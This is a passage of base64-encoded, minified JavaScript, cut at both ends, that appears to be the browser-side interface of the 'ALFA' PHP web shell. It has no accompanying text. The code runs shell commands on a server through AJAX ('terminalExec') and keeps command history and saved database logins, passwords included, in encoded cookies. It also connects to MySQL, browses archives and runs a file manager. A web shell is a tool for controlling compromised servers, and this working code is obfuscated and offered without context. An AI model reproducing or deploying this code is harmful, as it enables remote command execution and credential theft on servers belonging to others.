WZyYW1lIikuc3R5bGUuaGVpZ2h0PSI5MCUiLCQoImNnaWZyYW1lIikuc3R5bGUucGFkZGluZz0iM3B4IixkLnF1ZXJ5U2VsZWN0b3IoIiNjZ2lsb2FkZXIgLm9wdC10aXRsZSIpLmlubmVySFRNTD0iVGVybWluYWwiO3ZhciB0PSIiLGE9IiIsaT0idGVybWluYWxfaWRfIitnZXRSYW5kb20oMTApO3ZvaWQgMD09PWUmJih0PSIgYWN0aXZlLXRlcm1pbmFsLWNvbnRlbnQiLGE9IiBhY3RpdmUtdGVybWluYWwtdGFiIiksZC5xdWVyeVNlbGVjdG9yKCIjY2dpZnJhbWUgLnRlcm1pbmFsLWNvbnRlbnRzIikuaW5zZXJ0QWRqYWNlbnRIVE1MKCJhZnRlcmJlZ2luIiwnPGRpdiBpZD0iJytpKyciIGNsYXNzPSJ0ZXJtaW5hbC1jb250ZW50Jyt0KyciPjxkaXYgY2xhc3M9InBocC10ZXJtaW5hbC1vdXRwdXQiPjxkaXY+PGJ1dHRvbiBjbGFzcz0idGVybWluYWwtYnRuLWZvbnRjdGwiIG9uQ2xpY2s9ImNoYW5nZVRlcm1pbmFsRm9udFNpemUoXCcnK2krJ1wnLDEpOyI+KzwvYnV0dG9uPjxidXR0b24gY2xhc3M9InRlcm1pbmFsLWJ0bi1mb250Y3RsIiBvbkNsaWNrPSJjaGFuZ2VUZXJtaW5hbEZvbnRTaXplKFwnJytpKyInLDApO1wiPi08L2J1dHRvbj48aW5wdXQgb25jaGFuZ2U9XCJhbGZhVGVybWluYWxDaGFuZ2Vjb2xvcih0aGlzLCciK2krJ1wnKTsiIHN0eWxlPSJoZWlnaHQ6IDE4cHg7YmFja2dyb3VuZDogI2RkZTJlMjsiIHR5cGU9ImNvbG9yIj48L2Rpdj48cHJlIGNsYXNzPSJtbDEiIHN0eWxlPSJib3JkZXI6dW5zZXQ7aGVpZ2h0OiA5MCU7Ij48L3ByZT48L2Rpdj48ZGl2Pjxmb3JtIHRlcm1faWQ9IicraSsnIiBvblN1Ym1pdD0iYWxmYUV4ZWNUZXJtaW5hbCh0aGlzKTt0aGlzLmMudmFsdWU9XCdcJztyZXR1cm4gZmFsc2U7IiBhdXRvY29tcGxldGU9Im9mZiIgc3R5bGU9Im1hcmdpbi10b3A6IDEwcHg7Ij48ZGl2IHN0eWxlPSJvdmVyZmxvdzogYXV0bzt3aGl0ZS1zcGFjZTogbm93cmFwOyI+PGRpdiBzdHlsZT0iZGlzcGxheTogaW5saW5lLWJsb2NrO2NvbG9yOiM0ZmJlYzM7bWFyZ2luLWJvdHRvbTo1cHg7bWFyZ2luLXJpZ2h0OjVweDsiPkNXRDp+IyA8L2Rpdj48ZGl2IHN0eWxlPSJkaXNwbGF5OiBpbmxpbmUtYmxvY2s7Y29sb3I6IzQyZWM0MjsiIGNsYXNzPSJwaHAtdGVybWluYWwtY3VycmVudC1kaXIiPjwvZGl2PjwvZGl2PjxkaXYgc3R5bGU9InBvc2l0aW9uOnJlbGF0aXZlOyI+PHNwYW4gc3R5bGU9ImNvbG9yOiAjMDBmZjA4O2ZvbnQtc2l6ZTogMjVweDsiPiQgPC9zcGFuPjxpbnB1dCBzdHlsZT0icGFkZGluZzogOHB4O2ZvbnQtc2l6ZTogMjBweDt3aWR0aDogNjclO2JvcmRlcjogMXB4IHNvbGlkICMyNzk3OUI7cGFkZGluZy1yaWdodDozNXB4OyIgb25rZXl1cD0iYWxmYVdhbGtJblRlcm1pbmFsSGlzdG9yeSh0aGlzLGV2ZW50LFwnJytpKydcJyk7IiB0ZXJtX2lkPSInK2krJyIgY2xhc3M9InBocC10ZXJtaW5hbC1pbnB1dCIgdHlwZT0idGV4dCIgbmFtZT0iYyIgb25mb2N1cz0iY2xvc2VIaXN0b3J5Q21kKFwnZnJlZVwnLHRoaXMpOyIgcGxhY2Vob2xkZXI9ImxzIC1sYSI+PGJ1dHRvbiBjbGFzcz0iYnV0dG9uIiBzdHlsZT0iY29sb3I6ICMyNzk3OUI7cGFkZGluZzogMTJweDttYXJnaW4tbGVmdDogMTBweDtib3JkZXItcmFkaXVzOiAycHg7Zm9udC13ZWlnaHQ6IGJvbGRlcjsiPkV4ZUN1dGU8YnV0dG9uIHRlcm1faWQ9IicraSsnIiBjbGFzcz0iYnV0dG9uIiBzdHlsZT0iY29sb3I6ICMyNzk3OUI7cGFkZGluZzogMTJweDttYXJnaW4tbGVmdDogMTBweDtib3JkZXItcmFkaXVzOiAycHg7Zm9udC13ZWlnaHQ6IGJvbGRlcjsiIG9uQ2xpY2s9ImFsZmFFeGVjVGVybWluYWwodGhpcywgMSk7cmV0dXJuIGZhbHNlOyI+Q3VycmVudCBEaXI8L2J1dHRvbj48ZGl2IGNsYXNzPSJjbWQtaGlzdG9yeS1ob2xkZXIiPjxkaXYgY2xhc3M9ImNvbW1hbmRzLWhpc3RvcnktaGVhZGVyIj5IaXN0b3J5PC9kaXY+PHNwYW4gb25DbGljaz0iY2xlYXJUZXJtaW5hbEhpc3RvcnkoKTsiIHN0eWxlPSJib3JkZXItYm90dG9tOiAxcHggc29saWQ7bWFyZ2luLWJvdHRvbTogNXB4O2Rpc3BsYXk6IGlubGluZS1ibG9jaztwYWRkaW5nOiA1cHg7Y29sb3I6ICM1OWRlNjk7Y3Vyc29yOiBwb2ludGVyOyI+Q2xlYXIgaGlzdG9yeTwvc3Bhbj48ZGl2IHN0eWxlPSJvdmVyZmxvdzogYXV0bztoZWlnaHQ6IDgyJTsiIGNsYXNzPSJjb21tYW5kcy1oaXN0b3J5Ij48L2Rpdj48L2Rpdj48ZGl2IHRlcm1faWQ9IicraSsnIiBjbGFzcz0iY21kLWhpc3RvcnktaWNvbiIgbW9kZT0iIiBvbmNsaWNrPSJjbG9zZUhpc3RvcnlDbWQodGhpcyk7Ij48aW1nIHN0eWxlPSJ3aWR0aDoyN3B4OyIgc3JjPSJodHRwOi8vc29sZXZpc2libGUuY29tL2ljb25zL21lbnUvdGltZTIuc3ZnIj48L2Rpdj48L2Zvcm0+PC9kaXY+PC9kaXY+PC9kaXY+Jyk7dHJ5eyQoInRlcm1pbmFsX25ld190YWIiKS5yZW1vdmUoKX1jYXRjaChlKXt9ZC5xdWVyeVNlbGVjdG9yKCIjY2dpZnJhbWUgLnRlcm1pbmFsLXRhYnMiKS5pbnNlcnRBZGphY2VudEhUTUwoImJlZm9yZWVuZCIsJzxkaXYgb25jbGljaz0idGVybWluYWxUYWJDb250cm9sbGVyKHRoaXMpOyIgdGVybV9pZD0iJytpKyciIGlkPSJ0YWJfJytpKyciIGNsYXNzPSJ0ZXJtaW5hbC10YWInK2ErJyI+VGVybWluYWwgPGltZyB0ZXJtX2lkPSInK2krJyIgb25jbGljaz0iY2xvc2VUZXJtaW5hbENvbnRlbnQodGhpcyxldmVudCk7cmV0dXJuIGZhbHNlOyIgdGl0bGU9IltjbG9zZV0iIHNyYz0iaHR0cDovL3NvbGV2aXNpYmxlLmNvbS9pY29ucy9tZW51L2RlbGV0ZS5zdmciPjwvZGl2PicpLGQucXVlcnlTZWxlY3RvcigiI2NnaWZyYW1lIC50ZXJtaW5hbC10YWJzIikuaW5zZXJ0QWRqYWNlbnRIVE1MKCJiZWZvcmVlbmQiLCc8ZGl2IG9uY2xpY2s9ImFsZmFPcGVuUGhwVGVybWluYWwodHJ1ZSk7IiBpZD0idGVybWluYWxfbmV3X3RhYiIgc3R5bGU9ImJhY2tncm91bmQtY29sb3I6IzgwMDAwMDsiIGNsYXNzPSJ0ZXJtaW5hbC10YWIiPk5ldyBUYWIgKzwvZGl2PicpLHRlcm1pbmFsX3dhbGtfaW5kZXhbaV09e2luZGV4OjAsa2V5Oi0xfSxkLnF1ZXJ5U2VsZWN0b3IoIiMiK2krIiAucGhwLXRlcm1pbmFsLWlucHV0IikuZm9jdXMoKSxkLnF1ZXJ5U2VsZWN0b3IoIiMiK2krIiAucGhwLXRlcm1pbmFsLWN1cnJlbnQtZGlyIikuaW5uZXJIVE1MPWNfLGQucXVlcnlTZWxlY3RvcigiI2NnaWxvYWRlci1taW5pbWl6ZWQgLm1pbmltaXplZC10ZXh0IikuaW5uZXJIVE1MPSJUZXJtaW5hbCIsYWxmYVRlcm1pbmFsU2V0Q29sb3JBbmRTaXplKGkpLHBocF90ZW1yaW5hbF91c2luZ19jZ2k9ITA7dmFyIGw9YWxmYUdldFRlcm1pbmFsSGlzdG9yeSgpO2Zvcih2YXIgciBpbiBsKWQucXVlcnlTZWxlY3RvcigiIyIraSsiIC5jbWQtaGlzdG9yeS1ob2xkZXIgLmNvbW1hbmRzLWhpc3RvcnkiKS5pbnNlcnRBZGphY2VudEhUTUwoImFmdGVyYmVnaW4iLCI8ZGl2IG9uY2xpY2s9XCJkLnF1ZXJ5U2VsZWN0b3IoJyMiK2krJyAucGhwLXRlcm1pbmFsLWlucHV0XCcpLnZhbHVlID0gdGhpcy5pbm5lckhUTUw7IiBjbGFzcz0iaGlzdG9yeS1jbWQtbGluZSI+JytsW3JdKyI8L2Rpdj4iKX1kLmJvZHkuc3R5bGUub3ZlcmZsb3c9ImhpZGRlbiJ9ZnVuY3Rpb24gYWxmYVRlcm1pbmFsU2V0Q29sb3JBbmRTaXplKGUpe3ZhciB0PWdldENvb2tpZSgiYWxmYS10ZXJtaW5hbC1jb2xvciIpLGE9Z2V0Q29va2llKCJhbGZhLXRlcm1pbmFsLWZvbnRzaXplIik7dm9pZCAwIT09dCYmKGQucXVlcnlTZWxlY3RvcigiIyIrZSsiIHByZS5tbDEiKS5zdHlsZS5jb2xvcj10KSx2b2lkIDAhPT1hJiYoZC5xdWVyeVNlbGVjdG9yKCIjIitlKyIgcHJlLm1sMSIpLnN0eWxlLmZvbnRTaXplPWEpfWZ1bmN0aW9uIGFsZmFUZXJtaW5hbENoYW5nZWNvbG9yKGUsdCl7ZC5xdWVyeVNlbGVjdG9yKCIjIit0KyIgcHJlLm1sMSIpLnN0eWxlLmNvbG9yPWUudmFsdWUsc2V0Q29va2llKCJhbGZhLXRlcm1pbmFsLWNvbG9yIixlLnZhbHVlLDIwMTIpfWZ1bmN0aW9uIGFsZmFHZXRUZXJtaW5hbEhpc3RvcnkoZSl7dmFyIHQ9Z2V0Q29va2llKCJhbGZhLXRlcm1pbmFsLWhpc3RvcnkiKTt0cnl7dD1hdG9iKHQpLHQ9SlNPTi5wYXJzZSh0KX1jYXRjaChlKXt0PVtdfXJldHVybiB2b2lkIDAhPT1lJiZ0LnJldmVyc2UoKSx0fWZ1bmN0aW9uIGNoYW5nZVRlcm1pbmFsRm9udFNpemUoZSx0KXt2YXIgYT1kLnF1ZXJ5U2VsZWN0b3IoIiMiK2UrIiBwcmUubWwxIiksaT1wYXJzZUludCh3aW5kb3cuZ2V0Q29tcHV0ZWRTdHlsZShhLG51bGwpLmdldFByb3BlcnR5VmFsdWUoImZvbnQtc2l6ZSIpKSxsPSIiOzE9PXQ/KGw9aSsxKyJweCIsYS5zdHlsZS5mb250U2l6ZT1sKToobD1pLTErInB4IixhLnN0eWxlLmZvbnRTaXplPWwpLHNldENvb2tpZSgiYWxmYS10ZXJtaW5hbC1mb250c2l6ZSIsbCwyMDEyKX1mdW5jdGlvbiBhbGZhV2Fsa0luVGVybWluYWxIaXN0b3J5KGUsdCxhKXt2YXIgaT10fHx3aW5kb3cuZXZlbnQ7aWYoIjM4Ij09aS5rZXlDb2RlfHwiNDAiPT1pLmtleUNvZGV8fCIzNyI9PWkua2V5Q29kZXx8IjM5Ij09aS5rZXlDb2RlKXN3aXRjaChpLmtleUNvZGUpe2Nhc2UgMzg6dmFyIGw9YWxmYUdldFRlcm1pbmFsSGlzdG9yeSghMCkscj0iIjswPT10ZXJtaW5hbF93YWxrX2luZGV4W2FdLmluZGV4PygwPT10ZXJtaW5hbF93YWxrX2luZGV4W2FdLmtleSYmKyt0ZXJtaW5hbF93YWxrX2luZGV4W2FdLmluZGV4LHZvaWQgMCE9PShyPWxbdGVybWluYWxfd2Fsa19pbmRleFthXS5pbmRleF0pPyhlLnZhbHVlPXIsKyt0ZXJtaW5hbF93YWxrX2luZGV4W2FdLmluZGV4KTooZS52YWx1ZT0iIix0ZXJtaW5hbF93YWxrX2luZGV4W2FdLmluZGV4PTApKTp0ZXJtaW5hbF93YWxrX2luZGV4W2FdLmluZGV4PGwubGVuZ3RoJiYoMD09dGVybWluYWxfd2Fsa19pbmRleFthXS5rZXkmJisrdGVybWluYWxfd2Fsa19pbmRleFthXS5pbmRleCxlLnZhbHVlPWxbdGVybWluYWxfd2Fsa19pbmRleFthXS5pbmRleF0sKyt0ZXJtaW5hbF93YWxrX2luZGV4W2FdLmluZGV4KSx0ZXJtaW5hbF93YWxrX2luZGV4W2FdLmtleT0xO2JyZWFrO2Nhc2UgNDA6bD1hbGZhR2V0VGVybWluYWxIaXN0b3J5KCEwKTtpZih0ZXJtaW5hbF93YWxrX2luZGV4W2FdLmluZGV4Pj0wKTAhPXRlcm1pbmFsX3dhbGtfaW5kZXhbYV0uaW5kZXgmJigtLXRlcm1pbmFsX3dhbGtfaW5kZXhbYV0uaW5kZXgsMT09dGVybWluYWxfd2Fsa19pbmRleFthXS5rZXkmJi0tdGVybWluYWxfd2Fsa19pbmRleFthXS5pbmRleCksdm9pZCAwIT09KHI9bFt0ZXJtaW5hbF93YWxrX2luZGV4W2FdLmluZGV4XSk/ZS52YWx1ZT1yOihlLnZhbHVlPSIiLHRlcm1pbmFsX3dhbGtfaW5kZXhbYV0uaW5kZXg9MCk7dGVybWluYWxfd2Fsa19pbmRleFthXS5rZXk9MDticmVhaztkZWZhdWx0OmNvbnNvbGUubG9nKGkua2V5Q29kZSl9ZWxzZSB0ZXJtaW5hbF93YWxrX2luZGV4W2FdLmluZGV4PTB9ZnVuY3Rpb24gY2xlYXJUZXJtaW5hbEhpc3RvcnkoKXtkLnF1ZXJ5U2VsZWN0b3JBbGwoIi5jb21tYW5kcy1oaXN0b3J5IikuZm9yRWFjaChmdW5jdGlvbihlKXtlLmlubmVySFRNTD0iIn0pLHNldENvb2tpZSgiYWxmYS10ZXJtaW5hbC1oaXN0b3J5IiwiIiwyMDEyKX1mdW5jdGlvbiBhbGZhQWNlVG9GdWxsc2NyZWVuKGUpe3ZhciB0PWUuZ2V0QXR0cmlidXRlKCJhY2VfaWQiKTthbGZhX2FjZV9lZGl0b3JzLmVkaXRvclt0XS5jb250YWluZXIucmVxdWVzdEZ1bGxzY3JlZW4oKX1mdW5jdGlvbiBjbG9zZUhpc3RvcnlDbWQoZSx0KXtpZigiZnJlZSI9PWUpe3ZhciBhPXQuZ2V0QXR0cmlidXRlKCJ0ZXJtX2lkIik7cmV0dXJuIGU9ZC5xdWVyeVNlbGVjdG9yKCIjIithKyIgLmNtZC1oaXN0b3J5LWljb24iKSxkLnF1ZXJ5U2VsZWN0b3IoIiMiK2ErIiAuY21kLWhpc3RvcnktaG9sZGVyIikuc3R5bGUudmlzaWJpbGl0eT0iaGlkZGVuIixkLnF1ZXJ5U2VsZWN0b3IoIiMiK2ErIiAuY21kLWhpc3RvcnktaG9sZGVyIikuc3R5bGUub3BhY2l0eT0iMCIsZS5zZXRBdHRyaWJ1dGUoIm1vZGUiLCJvZmYiKSwhMX12YXIgaT1lLmdldEF0dHJpYnV0ZSgibW9kZSIpLGw9KGE9ZS5nZXRBdHRyaWJ1dGUoInRlcm1faWQiKSxkLnF1ZXJ5U2VsZWN0b3IoIiMiK2ErIiAuY21kLWhpc3RvcnktaG9sZGVyIikpOzA9PWkubGVuZ3RofHwib2ZmIj09aT8obC5zdHlsZS52aXNpYmlsaXR5PSJ2aXNpYmxlIixsLnN0eWxlLm9wYWNpdHk9IjEiLGUuc2V0QXR0cmlidXRlKCJtb2RlIiwib24iKSk6KGwuc3R5bGUudmlzaWJpbGl0eT0iaGlkZGVuIixsLnN0eWxlLm9wYWNpdHk9IjAiLGUuc2V0QXR0cmlidXRlKCJtb2RlIiwib2ZmIikpfWZ1bmN0aW9uIGdlRXZhbEFjZVZhbHVlKGUpe3ZhciB0PWUucXVlcnlTZWxlY3RvcigiLnBocC1ldmFscy1hY2UiKS5nZXRBdHRyaWJ1dGUoImlkIik7cmV0dXJuIGFsZmFfYWNlX2VkaXRvcnMuZXZhbFt0XS5nZXRWYWx1ZSgpfWZ1bmN0aW9uIGFsZmFPcGVuQXJjaGl2ZShlKXt2YXIgdD1lLmdldEF0dHJpYnV0ZSgicGF0aCIpLGE9ZS5nZXRBdHRyaWJ1dGUoImZuYW1lIiksaT1lLmdldEF0dHJpYnV0ZSgiYmFzZV9pZCIpO2lmKCIuLiI9PWEmJiJwaGFyOi8vIiE9dC5zdWJzdHIoMCw3KSlyZXR1cm4hMTt2YXIgbD0iYT0iK2FsZmFiNjQoIm9wZW5fYXJjaGl2ZV9kaXIiKSsiJmM9IithbGZhYjY0KGNfKSsiJmFsZmExPSIrYWxmYWI2NCh0KSsiJmFsZmEyPSIrYWxmYWI2NChpKSsiJmFqYXg9IithbGZhYjY0KCJ0cnVlIik7X0FqYXgoZC5VUkwsbCxmdW5jdGlvbihlKXtpZigiMCIhPWUpeyQoImFyY2hpdmVfYmFzZV8iK2kpLmlubmVySFRNTD1lO3ZhciBhPSQoImFyY2hpdmVfZGlyXyIraSkuZ2V0QXR0cmlidXRlKCJhcmNoaXZlX25hbWUiKSxsPSQoImFyY2hpdmVfZGlyXyIraSkuZ2V0QXR0cmlidXRlKCJhcmNoaXZlX2Z1bGwiKSxyPSIiLG89IiI7aWYoMCE9KHQ9dC5zcGxpdChhKVsxXSkubGVuZ3RoKXt2YXIgbj0odD10LnNwbGl0KCIvIikpLmxlbmd0aC0xO2Zvcih2YXIgcyBpbiAwPT10W25dLmxlbmd0aCYmdC5zcGxpY2UobiwxKSx0KTAhPXQubGVuZ3RoJiYobys9dFtzXSsiLyIscis9JzxhIGJhc2VfaWQ9IicraSsnIiBmbmFtZT0iJyt0W3NdKyciIHBhdGg9IicrbCtvKyciIG9uY2xpY2s9ImFsZmFPcGVuQXJjaGl2ZSh0aGlzKTsiPicrdFtzXSsiLzwvYT4iKX1kLnF1ZXJ5U2VsZWN0b3IoIiNhcmNoaXZlX2Rpcl8iK2krIiAuYXJjaGl2ZV9wd2RfaG9sZGVyIikuaW5uZXJIVE1MPXJ9fSwhMSwib3Blbl9hcmNoaXZlX2RpciIpfWZ1bmN0aW9uIGFsZmFEZWxldGVDb25uZWN0VG9EYihlKXtkLnF1ZXJ5U2VsZWN0b3JBbGwoIi5kYmhfIitlKS5mb3JFYWNoKGZ1bmN0aW9uKGUpe2UucmVtb3ZlKCl9KSxhbGZhQ29ubmVjdGlvbkhpc3RvcnlVcGRhdGUoZSl9ZnVuY3Rpb24gYWxmYUNvbm5lY3RUb0RiKGUsdCl7dmFyIGE9e307dHJ5e2E9SlNPTi5wYXJzZShhdG9iKGdldENvb2tpZSgiYWxmYV9jb25uZWN0aW9uX2hpc3QiKSkpfWNhdGNoKGUpe312YXIgaT1kLnF1ZXJ5U2VsZWN0b3IoIiMiK3QrIiBkaXYuc2YiKTtpLnF1ZXJ5U2VsZWN0b3IoImlucHV0W25hbWU9c3FsX2hvc3RdIikudmFsdWU9YVtlXS5ob3N0LGkucXVlcnlTZWxlY3RvcigiaW5wdXRbbmFtZT1zcWxfbG9naW5dIikudmFsdWU9YVtlXS51c2VyLGkucXVlcnlTZWxlY3RvcigiaW5wdXRbbmFtZT1zcWxfcGFzc10iKS52YWx1ZT1hW2VdLnBhc3MsKGkucXVlcnlTZWxlY3RvcigiaW5wdXRbbmFtZT1zcWxfYmFzZV0iKT9pLnF1ZXJ5U2VsZWN0b3IoImlucHV0W25hbWU9c3FsX2Jhc2VdIik6aS5xdWVyeVNlbGVjdG9yKCJzZWxlY3RbbmFtZT1zcWxfYmFzZV0iKSkudmFsdWU9YVtlXS5kYixpLnF1ZXJ5U2VsZWN0b3IoImlucHV0W25hbWU9c3FsX2NvdW50XSIpLmNoZWNrZWQ9ITAsZC5xdWVyeVNlbGVjdG9yKCIjIit0KyIgZGl2LnNmIC5kYi1jb25uZWN0LWJ0biIpLmNsaWNrKCl9ZnVuY3Rpb24gYWxmYVNob3dDb25uZWN0aW9uSGlzdG9yeShlKXt2YXIgdD17fSxhPWUuZ2V0QXR0cmlidXRlKCJkYl9pZCIpLGk9ZS5nZXRBdHRyaWJ1dGUoIm1vZGUiKTtpZihyb3dzPSc8dGFibGUgY2xhc3M9ImNvbm5lY3Rpb24taGlzdC10YWJsZSI+PHRyPjx0aD4qPC90aD48dGg+SG9zdDwvdGg+PHRoPlVzZXI8L3RoPjx0aD5QYXNzPC90aD48dGg+RGF0YWJhc2U8L3RoPjx0aD5Db25uZWN0PC90aD48dGg+RGVsZXRlPC90aD48L3RyPicsIm9uIj09aSl7ZS5zZXRBdHRyaWJ1dGUoIm1vZGUiLCJvZmYiKTt0cnl7dD1KU09OLnBhcnNlKGF0b2IoZ2V0Q29va2llKCJhbGZhX2Nvbm5lY3Rpb25faGlzdCIpKSl9Y2F0Y2goZSl7fXZhciBsLHI9MTtmb3IobCBpbiB0KXt2YXIgbz10W2xdLnVzZXIrIl8iK3RbbF0uZGI7cm93cys9Jzx0ciBjbGFzcz0iZGJoXycrbysnIj48dGg+JytyKyI8L3RoPjx0aD4iK3RbbF0uaG9zdCsiPC90aD48dGg+Iit0W2xdLnVzZXIrIjwvdGg+PHRoPiIrdFtsXS5wYXNzKyI8L3RoPjx0aD4iK3RbbF0uZGIrJzwvdGg+PHRoPjxidXR0b24gc3R5bGU9Im1hcmdpbjogdW5zZXQ7IiBjbGFzcz0iY29ubmVjdGlvbi1oaXMtYnRuIiBvbmNsaWNrPVwnYWxmYUNvbm5lY3RUb0RiKCInK28rJyIsIicrYSsnIik7XCc+Q29ubmVjdDwvYnV0dG9uPjwvdGg+PHRoIHN0eWxlPSJ0ZXh0LWFsaWduOiBjZW50ZXI7Ij48YnV0dG9uIHN0eWxlPSJtYXJnaW46IHVuc2V0OyIgY2xhc3M9ImNvbm5lY3Rpb24taGlzLWJ0biBjb25uZWN0aW9uLWRlbGV0ZSIgb25jbGljaz1cJ2FsZmFEZWxldGVDb25uZWN0VG9EYigiJytvKyJcIik7Jz5YPC9idXR0b24+PC90aD48L3RyPiIscisrfXJvd3MrPSI8L3RhYmxlIn1lbHNlIGUuc2V0QXR0cmlidXRlKCJtb2RlIiwib24iKSxyb3dzPSIiO2QucXVlcnlTZWxlY3RvcigiIyIrYSsiIC5jb25uZWN0aW9uX2hpc3RvcnlfaG9sZGVyIikuaW5uZXJIVE1MPXJvd3N9ZnVuY3Rpb24gYWxmYUNvbm5lY3Rpb25IaXN0b3J5VXBkYXRlKGUpe3ZhciB0LGE9e307dHJ5e2E9SlNPTi5wYXJzZShhdG9iKGdldENvb2tpZSgiYWxmYV9jb25uZWN0aW9uX2hpc3QiKSkpfWNhdGNoKGUpe31mb3IodCBpbiBteXNxbF9jYWNoZSkwIT1teXNxbF9jYWNoZVt0XS5kYi5sZW5ndGgmJihhW215c3FsX2NhY2hlW3RdLnVzZXIrIl8iK215c3FsX2NhY2hlW3RdLmRiXT1teXNxbF9jYWNoZVt0XSk7dm9pZCAwIT09ZSYmZGVsZXRlIGFbZV0sc2V0Q29va2llKCJhbGZhX2Nvbm5lY3Rpb25faGlzdCIsYnRvYShKU09OLnN0cmluZ2lmeShhKSksMjAxMil9ZnVuY3Rpb24gYWxmYUV4ZWNUZXJtaW5hbChlLHQpe3ZhciBhPSIiO2lmKDA9PShhPXZvaWQgMCE9PXQ/ImNkICIrY186ZS5jLnZhbHVlKS5sZW5ndGgpcmV0dXJuITE7ImwiPT1hP2E9ImxzIC10cmggLS1jb2xvciI6ImxsIj09YSYmKGE9ImxzIC1sdHJoIC0tY29sb3IiKTt2YXIgaT1lLmdldEF0dHJpYnV0ZSgidGVybV9pZCIpO2FsZmFsb2FkZXIoaSwiYmxvY2siKSxjbG9zZUhpc3RvcnlDbWQoImZyZWUiLGUpO3ZhciBsPSIiOyJGT1JNIj09ZS50YWdOYW1lJiYobD1lLnF1ZXJ5U2VsZWN0b3IoIi5waHAtdGVybWluYWwtY3VycmVudC1kaXIiKS5pbm5lckhUTUwpLDA9PShsPWwudHJpbSgpKS5sZW5ndGgmJihsPWNfKTt2YXIgcj0iYT0iK2FsZmFiNjQoInRlcm1pbmFsRXhlYyIpKyImYz0iK2FsZmFiNjQobCkrIiZhbGZhMT0iK2FsZmFiNjQoYSkrIiZhamF4PSIrYWxmYWI2NCgidHJ1ZSIpO2lmKF9BamF4KGQuVVJMLHIsZnVuY3Rpb24oZSx0KXthbGZhbG9hZGVyKHQsIm5vbmUiKTt0cnl7dmFyIGE9JCgidGFiXyIraSk7bnVsbCE9YSYmKCgtMT09YS5jbGFzc0xpc3QudmFsdWUuaW5kZXhPZigiYWN0aXZlLXRlcm1pbmFsLXRhYiIpfHxjZ2lfaXNfbWluaW1pemVkKSYmKGEuY2xhc3NMaXN0LmFkZCgidGFiLWlzLWRvbmUiKSxhbGZhU2hvd05vdGlmaWNhdGlvbigicHJvY2Nlc3MgaXMgZG9uZS4uLiIsYS5pbm5lclRleHQpKSxjZ2lfaXNfbWluaW1pemVkJiZhbGZhVXBkYXRlT3B0aW9uc0JhZGdlKCJjZ2lsb2FkZXIiKSl9Y2F0Y2goZSl7fWU9SlNPTi5wYXJzZShlKSxkLnF1ZXJ5U2VsZWN0b3IoIiMiK3QrIiAucGhwLXRlcm1pbmFsLW91dHB1dCA+IHByZSIpLmlubmVySFRNTD1lLm91dHB1dCwwIT1lLnBhdGgubGVuZ3RoJiYoZC5xdWVyeVNlbGVjdG9yKCIjIit0KyIgLnBocC10ZXJtaW5hbC1jdXJyZW50LWRpciIpLmlubmVySFRNTD1lLnBhdGgpfSwhMSxpKSx2b2lkIDA9PT10KXtkLnF1ZXJ5U2VsZWN0b3IoIiMiK2krIiAuY21kLWhpc3RvcnktaG9sZGVyIC5jb21tYW5kcy1oaXN0b3J5IikuaW5zZXJ0QWRqYWNlbnRIVE1MKCJhZnRlcmJlZ2luIiwiPGRpdiBvbmNsaWNrPVwiZC5xdWVyeVNlbGVjdG9yKCcjIitpKycgLnBocC10ZXJtaW5hbC1pbnB1dFwnKS52YWx1ZSA9IHRoaXMuaW5uZXJIVE1MOyIgY2xhc3M9Imhpc3RvcnktY21kLWxpbmUiPicrYSsiPC9kaXY+Iik7dmFyIG89YWxmYUdldFRlcm1pbmFsSGlzdG9yeSgpLG49by5pbmRleE9mKGEpOy0xIT1uJiZvLnNwbGljZShuLDEpLG8ucHVzaChhKSxzZXRDb29raWUoImFsZmEtdGVybWluYWwtaGlzdG9yeSIsYnRvYShKU09OLnN0cmluZ2lmeShvKSksMjAxMil9ZC5xdWVyeVNlbGVjdG9yKCIjIitpKyIgaW5wdXQucGhwLXRlcm1pbmFsLWlucHV0IikuZm9jdXMoKX1mdW5jdGlvbiBwYWdlQ2hhbmdlZEZpbGVzTWFuKGUpe3ZhciB0PSJmaWxlc21hbl9ob2xkZXJfIithbGZhX2N1cnJlbnRfZm1faWQsYT1nZXRDb29raWUodCsiX3BhZ2VfbnVtYmVyIiksaT1lLmlubmVyVGV4dDtpZigiPDwiPT1pKXthPWQucXVlcnlTZWxlY3RvcigiIyIrdCsiIC5hY3RpdmUtcGFnZS1udW1iZXIiKS5pbm5lclRleHQ7aWYoISgoYT1wYXJzZUludChhKSk+MSkpcmV0dXJuITE7aT1hLTF9aWYoIj4+Ij09aSl7YT1kLnF1ZXJ5U2VsZWN0b3IoIiMiK3QrIiAuYWN0aXZlLXBhZ2UtbnVtYmVyIikuaW5uZXJUZXh0O2E9cGFyc2VJbnQoYSk7dmFyIGw9ZC5xdWVyeVNlbGVjdG9yKCIjIit0KyIgLmxhc3QtcGFnZS1udW1iZXIiKS5pbm5lckhUTUw7aWYoIShhKzE8PShsPXBhcnNlSW50KGwpKSkpcmV0dXJuITE7aT1hKzF9c2V0Q29va2llKHQrIl9wYWdlX251bWJlciIsaSwyMDEyKSxnKCJGaWxlc01hbiIsY18pfWZ1bmN0aW9uIGFsZmFDb2xEdW1wZXJJbml0KCl7dmFyIGU9ZC5xdWVyeVNlbGVjdG9yKCIudGFiX25hbWUudGFiX2lzX2FjdGl2ZSIpLmdldEF0dHJpYnV0ZSgib3B0X2lkIiksdD1kLnF1ZXJ5U2VsZWN0b3IoIiMiK2UpLGE9dC5nZXRFbGVtZW50c0J5Q2xhc3NOYW1lKCJib3giKTtmb3IoaT0wO2k8YS5sZW5ndGg7aSsrKWFbaV0uYWRkRXZlbnRMaXN0ZW5lcigiY2xpY2siLGZ1bmN0aW9uKCl7bnVsbCE9dGhpcy5wYXJlbnRFbGVtZW50LnF1ZXJ5U2VsZWN0b3IoIi5uZXN0ZWQiKSYmKHRoaXMucGFyZW50RWxlbWVudC5xdWVyeVNlbGVjdG9yKCIubmVzdGVkIikuY2xhc3NMaXN0LnRvZ2dsZSgiYWN0aXZlIiksdGhpcy5jbGFzc0xpc3QudG9nZ2xlKCJjaGVjay1ib3giKSl9KTt2YXIgaTthPXQuZ2V0RWxlbWVudHNCeUNsYXNzTmFtZSgic3ViLWJveCIpO2ZvcihpPTA7aTxhLmxlbmd0aDtpKyspYVtpXS5zZXRBdHRyaWJ1dGUoIm9wdF9pZCIsZSksYVtpXS5hZGRFdmVudExpc3RlbmVyKCJjbGljayIsZnVuY3Rpb24oKXt0aGlzLmNsYXNzTGlzdC50b2dnbGUoImNoZWNrLWJveCIpO3ZhciBlPXRoaXMuZ2V0QXR0cmlidXRlKCJ0YmwiKSx0PXRoaXMuZ2V0QXR0cmlidXRlKCJvcHRfaWQiKTt0PXQucmVwbGFjZSgib3B0aW9uXyIsIi